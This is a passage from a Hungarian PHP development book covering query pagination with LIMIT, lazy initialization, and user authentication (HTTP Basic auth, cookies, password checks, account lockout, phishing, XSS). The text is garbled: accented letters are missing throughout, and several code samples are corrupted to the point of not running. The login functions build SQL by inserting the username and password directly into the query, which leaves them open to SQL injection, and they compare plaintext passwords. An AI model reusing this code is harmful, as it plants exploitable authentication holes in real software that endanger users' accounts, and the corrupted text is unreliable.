A gond ezzel a mdszerrel az, hogy vgl azon kapjuk magunkat, hogy gyakorlatilag a forum_entries sszes sort kiolvastuk. Mg abban az esetben is, ha a keress a $i > $end felttellel vget r, a $end rtkig minden sort kiolvastunk. gy ha pldul 10 000 frumzenetnk van, melyek kzl a 9980-10000. sorszmakat szeretnnk megjelenteni, meglehetsen lass folyamat veszi kezdett. Ha az tlagos zenet mrete 1 KB, 10 000 ilyen zenet kiolvassa 10 MB-nyi adat hlzati tvitelt jelenti. Nos, ez igencsak soknak tnik a 20 keresett bejegyzshez kpest. gyesebb megolds, ha magban a lekrdezsben korltozzuk a SELECT utastst. A MySQL-ben ez nem nehz feladat, hiszen alkalmazhatjuk a SELECT utasts LIMIT zradkt az albbiak szerint:
function returnEntries($start, $numrows) { $entries = array(); $dbh = new DB_Mysql_Test; $query = "SELECT * FROM forum_entries ORDER BY posted_at LIMIT :1, :2"; $res = $dbh->prepare($query)->execute($start, $numrows); while($data = $res->fetch_assoc()) { array_push($entries, new Entry($data)); } return $entries; }

12. fejezet Adatbzisok hasznlata

345

A LIMIT nem rsze az SQL92 szabvnynak, gy elkpzelhet, hogy rendszernkn nem elrhet. Az Oracle rendszereken pldul az albbihoz hasonl lekrdezst kell rnunk:
$query = "SELECT a.* FROM (SELECT * FROM forum_entries ORDER BY posted_at) a WHERE rownum BETWEEN :1 AND :2";

Ugyanez az okoskods igaz a kivlasztott mezkre is. A f orum_entries esetben valsznleg az sszes mezre szksgnk lesz. Mskor azonban, klnsen, ha a tbla szles (ami azt jelenti, hogy tbb varchar vagy LOB tpus oszlopot tartalmaz), gyelnnk kell arra, hogy ne olvassunk ki olyan mezket, amelyekre semmi szksgnk. A SELECT * hasznlata szintn ellenjavallt, hiszen jelenlte olyan kdhoz vezethet, ami fgg az eredmnyknt kapott sor mezinek helyzettl. Sajnos ezek a mezhelyzetek a tbla mdosulsnl vltozhatnak (pldul ha egy oszlopot beillesztnk vagy eltvoltunk). Ezen a gondon persze knnyen rr lehetnk, mindssze annyit kell tennnk, hogy az eredmnyknt kapott sorokat trstsos tmbkbe rjuk. Ne feledjk: brmilyen adat, amit a SELECT utastssal kapunk, t kell jjjn a hlzaton, s fel kell dolgozza a PHP. Azt se feledjk, hogy az eredmnyhalmaz mind a kiszolgln, mind az gyflgpen memrit foglal. A hlzat s a memria kltsgei knnyen magass vlhatnak, gy fontos, hogy mindig tudjuk, pontosan milyen adatokat olvasunk ki.

Lusta elkszts
A jl bevlt lusta elkszts (lazy initialization) alapja az, hogy addig nem olvassuk ki az adatokat, amg nincs szksgnk rjuk. Termszetesen ez klnsen akkor lehet hasznos, ha a kvnt adatok tvitele kltsges, s csak alkalmanknt van szksg rjuk. J plda erre a kerestblk esete. Ha pldul egy ktirny megfeleltetst szeretnnk kszteni az orszgok nevei s ISO kdjai kztt, az albbi Countries knyvtrat hozhatjuk ltre:
class Countries { public static $codeFrornName = array () ; public static $nameFromCode = array(); public static function populate() { $dbh = new DB_Mysql_Test; $query = "SELECT name, countrycode FROM countries"; $res = $dbh->execute($query)->fetchall_assoc(); foreach($res as $data) { self::$codeFromName[$data['name']] = $data['countrycode']; self::$nameFromCode[$data['countrycode']] = $data['name']; } } } Countries::populate();

346

PHP fejleszts felsfokon

A populate () fggvnyt, melynek feladata a tbla feltltse, akkor hvjuk meg, amikor a knyvtrat elszr betltjk. Lusta elksztsnl az orszg nevt egszen addig nem keressk meg, mg valban nincs r szksg. me egy olyan megolds, amely elrfggvnyeket hasznl a tbla feltltsre s az eredmnyek trolsra:
class Countries { privt static $nameFromCodeMap = array(); public static function nameFromCode($code) { if(!in_array($code, self : :$nameFromCodeMap)) { $query = "SELECT name FROM countries WHERE countrycode = :1"; $dbh = new DB_Mysql_Test; list ($name) = $dbh->prepare($query)->execute($code) ->fetch_row(); self::$nameFromCodeMap[$code] = $name; if($name) { self::$codeFromNameMap[$name] = $code; } } return self::$nameFromCodeMap[$code]; } public static function codeFromName($name) { if(!in_array($name, self::$codeFromNameMap)) { $query = "SELECT countrycode FROM countries WHERE name = :1"; $dbh = new DB_Mysql_Test; list ($code) = $dbh->prepare($query)->execute($name) ->fetch_row(); self::$codeFromNameMap[$name] = $code; if($code) { self::$nameFromCodeMap[$code] = $name; } } return self::$codeFromNameMapt$name]; } }

A lusta elkszts msik alkalmazsi terlett az olyan tblk kpezik, amelyek nagymret mezket tartalmaznak. Pldnak okrt webnaplz programom a bejegyzsek trolsra az albbi tblt hasznlja:
CREATE TABLE entries ( id int(10) unsigned NOT NULL auto_increment, title varchar(200) default NULL,

12. fejezet Adatbzisok hasznlata

347

timestamp int(10) unsigned default NULL, body text, PRIMARY KEY (id) );

Ksztettem egy Entry nev, az aktv rekord mintn alapul osztlyt, ami a tbla sorainak megjelentsrt felel. Az Entry objektum timestamp s title mezit gyakran hasznlom, de a body mezre ritkn van szksg. gy pldul, ha mutatt szeretnk kszteni a bejegyzsekbl, csak a cmeikre s idpontjaikra van szksg. Mivel a body mez meglehetsen nagy lehet, semmi rtelme kiolvasni, hiszen nem is hasznljuk a ksbbiekben. Ez klnsen igaz mutatk ksztsnl, amikor tbb tz vagy tbb szz bejegyzst olvasunk ki. Annak rdekben, hogy ezt a pazarl viselkedst elkerljk, a body mezt lustn ksztjk el. Albbi pldnk a____get () s a____ set () tlterhelt tulajdonsgelr (overloaded attribute accessor) fggvnyeket hasznlja, gy teljessggel elrejti a lusta elksztst a felhasznlk ell:
class Entry { public $id; public $title; public $timestamp; privt $_body; public function _ construct($id = fals) { if(!$id) { return; } $dbh = new DB_Mysql_Test; $query = "SELECT id, title, timestamp FROM entries WHERE id = : 1" ; $data = $dbh->prepare($query)->execute($id)->fetch_assoc() ; $this->id = $data['id']; $this->title = $data['title']; $this->timestamp = $data['timestamp']; } public function __get($name) { if($name == 'body') { if($this->id && !$this->_body) { $dbh = new DB_Mysql_Test; $query = "SELECT body FROM entries WHERE id = :1"; list($this->_body) = $dbh->prepare($query)->execute($this->id)->fetch_row(); }

348

PHP fejleszts felsfokon

return $this->_body; } } public function _ set($name, $value) {

if($name == 'body') { $this->_body = $value;


} }

/** az aktv rekord minta update(), deleteO s insert() fggvnyeit kihagytuk **/
}

Ha az Entry objektumot az id szerint pldnyostjuk, a body kivtelvel minden mezt megkapunk. Mindazonltal, ha ez utbbi mezt szeretnnk kiolvasni, a tlterhelt elrfggvnyek ezt megteszik, s az eredmnyt a privt $_body vltozban troljk. A tlterhelt elrfggvnyek hasznlata hihetetlenl hatkony mdszer, hiszen teljessggel rejtve marad a vgfelhasznl ell, leegyszerstve ezzel az osztly, illetve az adatbzis esetleges jraptst.

Tovbbi olvasmnyok
Az aktv rekord s a lekpez mintkat Martin Fowler Patterns of Enterprise Application Development cm knyvbl vettem, mely kedvenc olvasmnyaim egyike. Nagyszer lerst ad a tervezsi mintkrl, klnsen az adatok s az objektumok kzti megfeleltetsekben hasznltakrl. Az adatbzisok, st az SQL finomhangolsa jelentsen eltrhet attl fggen, hogy milyen adatbzis-kezel rendszert hasznlunk, ezrt mindig olvassuk el rendszernk dokumentcijt, s keressk az adott terleten jnak tartott knyveket. Jeremy Zawodny s Derek J. Balling hamarosan megjelen High Performance MySQL cm knyve vrhatan alapm lesz a magas szint MySQL finomhangols terletn. Nem szabad persze megfeledkeznnk a MySQL hlzati dokumentcijrl sem, melyet a ht tp: / /www .mysql.com cmen rhetnk el. Az Oracle-felhasznlk szmra ktelez olvasmny Guy Harrison Oracle SQL High-Performance Tuning, valamint Jonathan Lewis Practical Oracle 81: Building Efficient Databases cm knyve. Az SQL-lel ltalnossgban foglalkoz knyvek kzl kiemelnm Pter Gulutzan s Trudy Pelzer SQL Performance Tuning cm mvt. (Magyarul SQL teljestmnyfokozs cmen, a Kiskapu Kiad gondozsban jelent meg.) Ebben olyan tippeket tallhatunk, melyek nyolc ismertebb relcis adatbzis-kezel rendszer (kztk a DB2, az Oracle, az MSSQL s a MySQL) esetben 10%-os teljestmnynvekedst garantlnak.

A felhasznlk hitelestse s a munkamenetek biztonsga


Mindannyian tudjuk, hogy a Vilghl protokollja a HTTP. Ez az a protokoll, melynek segtsgvel a bngszk s a webkiszolglk kicserlhetik adataikat. Minden bizonnyal arrl is hallottunk, hogy a HTTP llapot nlkli protokoll. A HTTP nem riz meg semmifle llapotadatot kt krelem kztt, valjban egy egyszer krelem-vlasz protokoll. Az gyfl bngszje egy krelmet kld a webkiszolglnak, az vlaszol r, s ezzel az adatcsernek vge. Mindez persze azt is jelenti, hogy ha egyms utn kt HTTP GET parancsot adunk egy webkiszolglnak, a protokoll semmilyen mdon nem kpes ezeket egymshoz ktni. Sokan gy gondoljk, hogy a maradand kapcsolatok megoldst knlnak erre a problmra, s lehetv teszik, hogy megrizzk az llapotadatokat. Sajnlatos mdon azonban ez nem igaz. Jllehet a kapcsolat valban kiptve marad, a krelmek kezelse egymstl teljesen fggetlenl trtnik. Az llapot hinya tbb alapvet gondot is felvet: Hitelests - Mivel a protokoll nem kpes kapcsolatot teremteni a krelmek kztt, az A krelem kiadjnak hitelestse utn nincs mdja eldnteni, hogy egy ksbbi B krelmet ugyanaz a szemly adott-e ki. Maradandsg - A legtbben arra hasznljk a Webet, hogy feladatokat vgezzenek el. A feladat termszetnl fogva valaminek az llapott prblja megvltoztatni (hiszen egybknt nem tennnk semmit). A krds csak az, miknt eszkzlhetnk vltoztatsokat, klnsen tbb lpsbl llkat, ha nincsenek llapotok? A fenti gondok megjelense nagyszeren nyomon kvethet a hlzati ruhzak (e-boltok) pldjn. Itt az alkalmazsnak hitelestenie kell a felhasznlt, hiszen pontosan tudnia kell, kivel ll szemben (meg kell tallnia ugyanis a felhasznl szemlyes adatait, gy a cmt, valamint a hitelkrtyja szmt). Lteznek tovbb olyan adatok - pldul a bevsrlkocsi tartalma - melyeket meg kell rizni a krelmek kztt.

350

PHP fejleszts felsfokon

A fenti gondokra a megoldst mi magunk adhatjuk meg azzal, hogy valamilyen mdon megvalstjuk az llapotokat. Szerencsre ez nem olyan nehz feladat, mint amilyennek elsre ltszik. A hlzati protokollok gyakran llapotokkal rendelkez rtegekbl llnak, melyek llapot nlkliekre plnek, illetve fordtva. gy pldul a HTTP egy alkalmazsszint protokoll (vagyis olyan, melynek segtsgvel kt alkalmazs - a bngsz s a webkiszolgl - kpes adatokat cserlni), ami a TCP-re pl. A TCP ugyanakkor rendszerszint protokoll (ami azt jelenti, hogy a vgpontok opercis rendszerek), amely rendelkezik llapotokkal. Ha kt gp kztt ltrejn egy TCP kapcsolat, az olyan, mint egy beszlgets. Az zenetek oda-vissza haladnak egszen addig, mg az egyik rsztvev ki nem lp. A TCP az IP-re pl, ami ismt csak llapot nlkli protokoll. A TCP llapotait gy valstja meg, hogy csomagjaiban sorozatszmokat kld. Ezek a szmok (tovbb a vgpontok hlzati cmei) lehetv teszik mindkt oldal szmra, hogy rtesljenek arrl, ha lemaradtak a beszlgets valamely rszrl. A sorozatszmok lehetsget adnak egyttal a hitelestsre is, gy mindkt oldal tudhatja, hogy folyamatosan ugyanazzal a partnerrel beszl. Mindez persze azt is jelenti, hogy ha ezek a sorozatszmok knnyen kitallhatok, valaki egyszeren bekapcsoldhat a beszlgetsbe, ha megfelel szmokat hasznl. Errl az utols megjegyzsrl ne feledkezznk meg a ksbbiekben.

Egyszer hitelestsi smk


A fejezetnkben felptett rendszer gyakorlatilag egy jegy alap rendszernek felel meg. Gondoljunk csak a sfelvon jegyre. Amikor megrkeznk a hegyhez, vsrolunk egy felvonjegyet, s feltzzk a kabtunkra. Akrhov is megynk, ez a jegy lthat. Ha gy prblunk felszllni a felvonra, hogy nincs jegynk, vagy van, de lejrt, vagy rvnytelen, a kezelk visszakldenek a bejrathoz, hogy vegynk egy rvnyes jegyet. A hamistsnak gy prblnak elbe menni, hogy nehezen msolhat biztonsgi elemeket ptenek be. Mindenekeltt szksgnk van arra, hogy ellenrizzk a felhasznl kiltt. Ez a legtbb esetben egy felhasznlnevet s egy jelszt jelent. Ezeket aztn ellenrizhetjk egy adatbzisban (esetleg egy LDAP kiszolgln vagy ms mdszerrel). Az albbi fggvny egy MySQL adatbzis segtsgvel ellenrzi a felhasznl adatait: function check_credentials($name, $password) $dbh = new DB_Mysql_Prod(); $cur = $dbh->execute(" SELECT userid
FROM

users
W ER H E username = ' $name' AND password = '$password'") ; $row = $cur->fetch_assoc() ;

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

351

if($row) { $userid = $row['userid'];


}

else { throw new AuthException("user is not authorized") ;


}

return $userid;
}

Kszthetnk egy AuthException nev burkol osztlyt az egyszer kivtelosztly kr, s ennek segtsgvel kezelhetjk a hitelestshez kapcsold hibkat. class AuthException extends Exception {} Az adatok ellenrzse azonban mg csak flsiker. Szksg van egy smra a hitelests kezelsre is. Erre alapveten hrom mdszer ll rendelkezsnkre: az egyszer HTTPhitelests, a lekrdezs karakterlncnak csatolsa, valamint a stik hasznlata.

Egyszer HTTP-hitelests
Az egyszer hitelests a HTTP-be beptve ll rendelkezsnkre. Ha egy kiszolgl hitelestetlen krelmet kap egy oldalhoz, a kvetkez fejlccel vlaszol: WWW-Authenticate: Basic realm="RealmFoo" A RealmFoo itt egy tetszleges nv, melyet a rendszer a vdett nvterlethez rendel. Az gyfl egy base 64 kdols felhasznlnv-jelsz prral vlaszol, hogy hitelestse magt. Ez az egyszer hitelests jelenti meg azt a felhasznlnv/jelsz ablakot, mellyel szmos bngszben, rengeteg webhelyen tallkozhatunk. E hitelestsi mdszer jelentsen vesztett npszersgbl, mita a bngszk szlesebb krben kezdtk alkalmazni a stiket. Az egyszer hitelests legnagyobb elnye, hogy lvn HTTP szint mdszer, hasznlhat egy webhely sszes fjljnak vdelmre, nemcsak a PHP programokra. Ez a lehetsg klnsen hasznos olyan webhelyeknl, melyek videkat, hangfjlokat, vagy kpeket szolgltatnak felhasznlik szmra, hiszen gy egyttal e mdiafjlok vdelmrl is gondoskodnak. Az egyszer hitelestsben szerepl felhasznlnv s jelsz a PHP-ben a $_SERVER [ ' PHP_AUTH_USER' ] , illetve a $_SERVER [ ' PHP_AUTH_PW' ] alakban kerl a programhoz. Lssunk most pldt egy hitelest fggvnyre, amely ezt az egyszer mdszert alkalmazza: function check_auth() { try { check_crederitials($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']); }

352

PHP fejleszts felsfokon

catch (AuthException $e) { header('WWW-Authenticate: Basic realm="RealmFoo"'); header('HTTP/1.0 401 Unauthorized'); exit; } }

A lekrdezsi karakterlnc csatolsa


Ebben a mdszerben a felhasznl adatai minden krelemnl bekerlnek a lekrdezsi karakterlncba. Szmos Java alap munkamenet-burkol mkdik gy, s ezt a mdszert a PHP munkamenetmodulja is tmogatja. Jmagam ellene vagyok e mdszer hasznlatnak - mindenekeltt azrt, mert hihetetlenl hossz s ronda URL-eket eredmnyez. Egy munkamenethez rengeteg adat tartozhat, s 100 bjt csatolsa egy egybknt csinos URL-hez egyszeren srti a szprzkemet. Mindazonltal ez nem csupn eszttikai gond. Szmos keresmotor nem kpes dinamikus URL-ek trolsra (vagyis olyan URL-ekre, melyekben lekrdezsi karakterlnc paramterek szerepelnek), tovbb a hossz URL-ek kivgsa s beillesztse is nehz feladat. Attl fggen, milyen eszkzt hasznlunk erre, megtrhet a sor, gy az URL tovbbtsa IMben (Instant Message) vagy elektronikus levlben gondokat okozhat. A msodik kifogsom e mdszer ellen, hogy felmerlnek bizonyos biztonsgi agglyok is, hiszen gy a felhasznl munkamenetnek paramtereit msok egyszeren lemsolhatjk. Nem kell ms tenni, csak kivgni s beilleszteni egy URL-t, ami tartalmazza a munkamenet azonostjt, gy akr vletlenl is belegzolhatunk ms munkjba. Nem is tltnk el tbb idt e mdszer trgyalsval, de j, ha tudjuk, hogy az esetek tbbsgben ltezik nla biztonsgosabb s elegnsabb megolds.

Stik hasznlata
A Netscape 3.0 1996-os megjelense ta a bngszk egyre nagyobb mrtkben tmogatjk a stik hasznlatt. Lssuk most, mit is rt a Netscape sti (cookie) alatt: Ha a kiszolgl egy HTTP objektumot kld egy gyflnek, ezzel egytt tadhat bizonyos llapotadatokat is, melyeket az gyfl trolhat. Az tadott llapotobjektumban megtallhat azon URL-ek tartomnya is, ahol az llapot rvnyes. Minden ezt kvet HTTP krelem, amely az e tartomnyba es gyfelektl szrmazik, tartalmazza az llapotobjektum aktulis rtkt, ami gy visszakerl a kiszolglhoz. Ezt az llapotobjektumot hvjuk stinek.

3. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

353

A stik hatalmas szolglatot tesznek abban, hogy az llapotok fenntarthatk legyenek a krelmek kztt. Alkalmazsuk nem korltozdik a felhasznlk egyszer adataira s a hitelestsre, hiszen brmilyen llapotjellemzk tovbbthatk bennk a krelmek kztt, melyek megmaradnak akkor is, ha a bngszt idkzben lekapcsoljk s jraindtjk. A ksbbiekben a stik hasznlatval kiptnk egy hitelestsi rendszert. Igyekezetnket rthetv teszi az is, hogy mra a stik hasznlata gyakorlatilag szabvnny vlt a HTTP krelmekkel vgzett adattadsban. Az albbiakban felsoroljuk a stik fontosabb elnyeit az egyszer hitelestssel szemben. Sokoldalsg - A stik nagyszer lehetsget adnak arra, hogy tetszleges adatokat tvigynk a krelmek kztt. Az egyszer hitelests ppen egyszersge miatt nem kpes erre. Maradandsg - A stiket bellthatjuk gy is, hogy a munkamenetek kztt megmaradjanak a felhasznl bngszjben. Ezt szmos webhely kihasznlja, gy a stikben trolt adatok alapjn lehetv teszi az automatikus bejelentkezst. Ez a mdszer termszetesen jr bizonyos biztonsgi kockzatokkal, de sok webhely szvesen ldoz fel valamit a biztonsgbl a knyelem rdekben. Termszetesen a felhasznlk dnthetnek gy is, hogy nem fogadnak stiket - az pedig a mi dolgunk, hogy milyen mrtkben gondolunk rjuk. Eszttikussg - Az egyszer hitelestsnl a bngszben egy kicsiny, egyszer felhasznlnv/jelsz ablak jelenik meg. Ez sok esetben nem illik bele a webhely sszkpbe. Sajt hitelestsi eljrsokat hasznlva nagyobb szabadsgunk van a tervezsben. A sti alap hitelests legnagyobb htultje, hogy nem ad egyszer mdszert a nem PHP oldalak vdelmre. Ahhoz, hogy az Apache olvasni s rtelmezni tudja a stikben trolt adatokat, szksg van egy e clra kszlt Apache modulra. Persze ha az egyszer hitelests PHP megvalstsban brmilyen bonyolultabb eljrst alkalmazunk, gyakorlatilag ugyanoda jutunk. gy vgeredmnyben a stik hasznlata nem jelent tlzottan sok fls munkt.

PHP nyelv hitelestskezelk

A PHP 5-ben ltezik egy apache_hooks nevezet ksrleti SPI, amely lehetv teszi, hogy teljes Apache modulokat ksztsnk PHP nyelven. Segtsgvel olyan Apache-szint hitelestskezelt rhatunk, melyben sajt hitelestsi mdszernket alkalmazhatjuk, nemcsak PHP oldalak esetben. Ha a modul stabil lesz, knnyen megvalsthatunk vele brmilyen sszetett hitelestsi mdszert a webhely sszes objektumra vonatkozan.

354

PHP fejleszts felsfokon

Felhasznlk bejegyzse
Mieltt felhasznlink hitelestsvel kezdennk foglalkozni, tudnunk kell, egyltaln kikrl is van sz. A felhasznlnvre s a jelszra mindenkppen szksg van, de emellett hasznos lehet, ha ms adatokat is begyjtunk. Sokan fknt a j jelsz elksztsre sszpontostanak (ami, ahogy a kvetkezkben ltni fogjuk, egy nehz, de igen fontos feladat), s kzben az egyedi azonostk helyes kivlasztsval nem sokat trdnek. Sajt tapasztalataim szerint webes alkalmazsokban az e-mail cm nagyszer egyedi azonostknt szolgl. A felhasznlk tbbsge (eltekintve a szmtgprltektl) egyetlen cmet hasznl, s ehhez csak s kizrlag fr hozz. Ennek eredmnyekppen az e-mail cm tkletes egyedi azonostt ad. Ha a bejegyzshez megkveteljk a visszajelzst (ami azt jelenti, hogy a felhasznlnak kldnk egy e-mailt, amelyben megmondjuk, mit kell tennie a bejegyeztets befejezshez), meggyzdhetnk rla, hogy a levlcm valban ltezik, s a bejegyzett felhasznlhoz tartozik. Az e-mail cmek begyjtse egyttal lehetv teszi a hatkony kapcsolattartst a felhasznlkkal. Ha ltogatink hajlandak leveleket fogadni tlnk, rendszeresen tjkoztathatjuk ket, mi trtnt a webhelynkn, s egy esetleges meghibsods esetn knnyen kldhetnk szmukra jonnan ksztett jelszavakat. Ezek a lehetsgek persze akkor hasznlhatk ki igazn hatkonyan, ha a felhasznlk s az e-mail cmeik kztt egyrtelm kapcsolat ll fenn. A jelszavak vdelme A felhasznlk - ilyen az emberi termszet - ltalban rossz jelszavakat vlasztanak. Szmos tanulmny kimutatta, hogy amennyiben semmilyen mdon nem korltozzk ket, a felhasznlk olyan jelszavakat adnak meg, amik knnyedn kitallhatok. A hitelestsi rendszerek ellen gyakran alkalmaznak gynevezett sztrtmadst (dictionary attack). Ilyenkor a kalz rendelkezik egy nagy fjllal, melyben az ltala lehetsgesnek tlt jelszavakat trolja (pldul az angol nyelv szavainak minden lehetsges prostst), s egy adott felhasznli azonost esetn mindegyikkkel megksrli a belpst. Ez a tmads termszetesen nem hatkony vletlenszer jelszavak esetn, de hihetetlenl sikeres olyan esetekben, amikor a rendszer lehetv teszi, hogy a felhasznlk maguk vlasszk meg jelszavaikat. A sors irnija, hogy a rendszer optimalizlsa mg knnyebb teszi a sztrtmadst. Egy korbbi munkm sorn megdbbenssel tapasztaltam, hogy egy kalz egy ilyen tmads sorn tbb mint 100-szor volt kpes prblkozni egy msodpercen bell. Ilyen sebessg mellett egy teljes, 50 000 szavas sztrral 10 percen bell vgez.

13. fejezet * A felhasznlk hitelestse s a munkamenetek biztonsga

355

A jelszavak elleni tmadsok kivdsre alapveten kt megolds ltezik, jllehet egyik sem mondhat bombabiztosnak: Ksztsnk j" jelszavakat. Cskkentsk a sztrtmadsok hatkonysgt.

Milyenek is azok a j" jelszavak? Nos, jellemzjk az, hogy nehezen kitallhatok automatizlt mdszerekkel. Ilyen jelszavak ksztsre alkalmas pldul az albbi fggvny: function random_password($length=8) { $str = for($i=0; $i<$length; $i++) { $str .= chr(rand(48,122)); } return $str; } Eredmnyknt olyan jelszavakat kapunk, amelyek vletlenszeren kivlasztott nyomtathat ASCII karakterekbl llnak. Nagy hibjuk azonban, hogy igen nehz megjegyezni ket. Ezzel rtapintottunk a vletlen jelszellltk legnagyobb hibjra. A felhasznlk egyszeren nem szeretik ket. Radsul minl nehezebb egy ilyen jelszt megjegyezni, annl valsznbb, hogy a felhasznl felrja egy cetlire, esetleg elhelyezi egy szvegfjlban vagy elektronikus levlben. Kzkedvelt megolds, hogy a j jelsz ksztst a felhasznlra bzzk, vlasztst azonban nhny egyszer szabllyal korltozzk. Megengedhetjk felhasznlnknak, hogy kivlassza sajt jelszavt, de megkvetelhetjk, hogy ez a jelsz killjon nhny prbt. Az albbi fggvny ilyen ellenrzsi feladatokat valst meg: function good_password($password) if (strlen($password) < 8) { return 0;
}

if (!preg_match(" Ad/ ", $password) ) return 0;


}

if(!preg_match("/[a-z]/ i " , return 0;


} }

$password))

Fggvnynk megkveteli, hogy a jelsz legalbb nyolc karakterbl lljon, s mind betket, mind szmokat tartalmazzon.

356

PHP fejleszts felsfokon

A fggvnyt tovbb is fejleszthetjk, s ellenrizhetjk, hogy ha eltvoltottuk a szmkaraktereket, a maradk nem egy sztrban szerepl sz, illetve a jelsz nem tartalmazza a felhasznl nevt vagy cmt. Ez a mdszer kveti a tancsadi szakma alapszablyt: Ha egy bonyolult problmval tallkozunk, hrtsuk msra. J jelszt kszteni, mellyel a felhasznl is elgedett, igen nehz feladat - sokkal egyszerbb kiszrni a rossz jelszavakat, meggtolva, hogy a felhasznlk ilyeneket vlasszanak. A kvetkez feladatunk, hogy megakadlyozzuk a sztrtmadsokat a hitelestsi rendszerek ellen. Ha semmit nem tesznk e tren, a kalz minden bizonnyal clt r. Akrmilyen szablyokat tallunk is ki a rossz jelszavak kiszrsre, a felhasznlk ltal kedvelt jelszavak sajnos tl kevesen vannak. Az egyik megolds, ha letiltjuk az azonostt, amennyiben sok, egymst kvet hibs bejelentkezst tapasztalunk. E mdszer megvalstsa nem nehz, mindssze a check_credentials fggvnyt kell trnunk gy, hogy meghatrozott szm sikertelen ksrlet utn zrolja az azonostt: function check_credentials($name, $password) $dbh = new DB_Mysql_Prod () ; $cur = $dbh->execute(" SELECT userid, password FROM users {

WHERE username = '$name' AND failures < 3"); $row = $cur->fetch_assoc(); if($row) { if($password == $row['password']) { return $row['userid']; } else { $cur = $dbh->execute(" UPDATE users SET failures = failures + 1, last_failure = now() WHERE username = '$name'"); } } throw new AuthException("user is not authorized"); }

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

357

E letiltst feloldhatjuk magunk, de elvgezhetjk egy cron feladatknt is, amely minden olyan sornl, ami egy rnl rgebbi, nullzza a sikertelen prblkozsok szmt. A mdszer legnagyobb htultje, hogy lehetv teszi a kalzok szmra, hogy szndkosan rossz jelszavakkal prblkozva meggtoljk a valdi felhasznl belpst. Rszleges megoldsknt meghatrozhatjuk azon IP cmeket, melyeknl valban figyelnnk kell a sikertelen bejelentkezsekre. A belpsi rendszer vdelme rks kzdelem, hiszen mindig akadnak biztonsgi rsek. Mindazonltal fontos, hogy felmrjk, mennyi idt s erforrst rdemes ldoznunk egy esetleges biztonsgi rs betmsre. Az alkalmazott vdelmi stratgia tetszlegesen bonyolult lehet - elkpzelhet olyan rendszer is, ami nem enged meg percenknt hromnl, naponta pedig 20-nl tbb sikertelen belpsi ksrletet.

Vdelem az emberi tnyez kihasznlsa ellen


Jllehet ez nem igazn technikai tmakr, mindenkppen szt kell ejtennk az tverses tmadsokrl. Ilyenkor a kalz csalssal jut adatokhoz a felhasznltl, gyakran egy megbzhat szemlynek kiadva magt. A leggyakoribb pldk erre az albbiak: A kalz rendszergazdnak lltja be magt, s elektronikus levlben kri el a felhasznlk adatait, biztonsgi okokra" hivatkozva. A kalz kszt egy msolatot a webhely bejelentkezsi lapjrl, s valahogy rveszi a felhasznlkat, hogy lpjenek be. Az elz kt mdszer valamilyen kombincija. Furnak tnik, hogy lteznek felhasznlk, akiket ilyen mdon be lehet csapni, de ez sokkal gyakrabban elfordul, mint gondolnnk. Ha a Google-lel rkeresnk az eBay-jel kapcsolatos csalsokra, rengeteg ilyen esetet tallhatunk. Az ilyen tversek ellen igen nehz vdekezni - a gondot ppen az okozza, hogy ez nem technikai krds, sikerk azon mlik, hogy a felhasznl rossz dntseket hozzon. A baj megelzsre mindssze annyit tehetnk, hogy rszletesen tjkoztatjuk a felhasznlkat, hogyan s mikor lpnk majd kapcsolatba velk, tovbb, hogy kifejlesztnk bennk nmi egszsges gyanakvst szemlyes adataik kiadsval szemben. Sok szerencst, szksg lesz r.

358

PHP fejleszts felsfokon

Az rdgi JavaScript

A kvetkezkben szmos olyan munkamenet-biztonsgi mdszerrl esik majd sz, melyekben stiket hasznlunk. Fontos tudnunk, hogy sok gyfl oldali parancsnyelv - mint a JavaScript - kpes elrni a felhasznlk stijeit. Ha olyan webhelyt zemeltetnk, amely lehetv teszi a felhasznlk szmra, hogy JavaScript, illetve CSS kdokat helyezzenek a tartomny ltal szolgltatott oldalakra (vagyis a tartomny hozzfrhet a stikhez), a stik egyszeren el trthetk. A JavaScript a kzssgi webhelyek kalzainak lma, hiszen lehetv teszi, hogy knnyen mdostsk az ltalunk az gyfeleknek kldtt adatokat. Ezt a tmadsi tpust helykzi tmadsnak (cross-site scripting) hvjk. Ilyen esetben egy rosszindulat felhasznl valamilyen gyfl oldali megoldssal (ez tbbnyire JavaScript, Flash vagy CSS kd) kpes elrni, hogy nemkvnt kdot tltsnk le egy, a megltogatni kvnttl eltr webhelyrl.

A hitelests fenntartsa - hogyan gyzdjnk meg arrl, hogy mg mindig ugyanahhoz beszlnk?
Ha egy teljes webhely hitelestsi rendszert stik nlkl szeretnnk kipteni, nagyjbl gy jrunk el, mintha ednyek nlkl kezdennk fzni. Lehet, hogy valameddig eljutunk, de letnk sokkal nehezebb vlik, s rendkvl otromba lekrdezsi karakterlncokkal kell bajldnunk. Tudnunk kell, hogy manapsg a stik hasznlatnak engedlyezse nlkl igencsak nehz naviglni a Weben. Gyakorlatilag napjaink minden bngszje, kztk a teljessggel szveg alapak is tmogatjk a stiket. Az igazsg az, hogy a stik annyi elnyt biztostanak, hogy a fejlesztk ezek kedvrt inkbb lemondanak azokrl a felhasznlkrl, akik elutastjk a stik hasznlatt. Az llapotok krelmek kzti megrzsnek trgyalsa nem lehet teljes anlkl, hogy szt ne ejtennk a buktatkrl. A kvetkez nhny pontban olyan mdszereket vesznk sorra, melyek annak ellenre, hogy szles krben elterjedtek, nem a kvnt eredmnyt adjk.

A $_SERVER[REMOTE_IP] vltozatlansgnak ellenrzse


Sokan gondoljk gy, hogy ha valami, ht a felhasznl IP cme lland marad a kapcsolt sorn. Nos, ebben tvednek. St, hogy a dolog mg rdekesebb legyen, ktflekppen is tvedhetnek! Szmos internetszolgltat helyettes (proxy) kiszolglkat hasznl arra, hogy tmenetileg trolja a HTTP krelmeket, a lehet legkevesebbre cskkentve az azonos objektumokra rkez krelmek szmt. gy ha ketten ugyanahhoz az internetszolgl-

13. fejezet A felhasznlk hitelestse s a munkamenetek biztonsga

359

